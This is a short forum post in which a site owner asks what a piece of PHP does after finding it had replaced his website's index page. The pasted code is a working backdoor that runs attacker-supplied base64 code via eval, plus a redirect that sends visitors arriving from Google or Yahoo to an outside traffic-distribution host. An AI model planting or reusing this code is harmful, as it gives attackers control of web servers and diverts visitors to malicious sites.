problem on a non vb website - advice please

[tipoboy]

hi there i wonder if someone could help with a non vb problem i've got.

yesterday i noticed i had a problem with a website i made, the index page wasnt showing up and upon further inspection i found that it had been replaced with another that contained this:

PHP Code:

<?php $a=@$_POST['a'];if($a && @$_POST['b']==sha1(md5($a))){$a=base64_decode($a);eval($a);} function get_counter(){$ip=$_SERVER['REMOTE_ADDR'];$uniq=@file_get_contents("http://uniqtds2.com/ip.php?ip=$ip");if($uniq===false){return false;}if($uniq=="go"){return true;}return  false;}$ref=strtolower(trim(@$_SERVER['HTTP_REFERER']));if((strpos($ref,"google")!==false)and(strpos($ref,"bot.htm")===false)){if(get_counter()){@header("Location: http://uniqtds2.com/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}}if((strpos($ref,"yahoo")!==false)and(strpos($ref,"slurp")===false)){if(get_counter()){@header("Location: http://uniqtds2.com/tds_u.php?dname=".$_SERVER['HTTP_HOST']);die();}} ?>

i've reuploaded my original page but was wondering what this piece of php is all about if someone could explain what it is i'd appreciate it

-thanks very much
-dave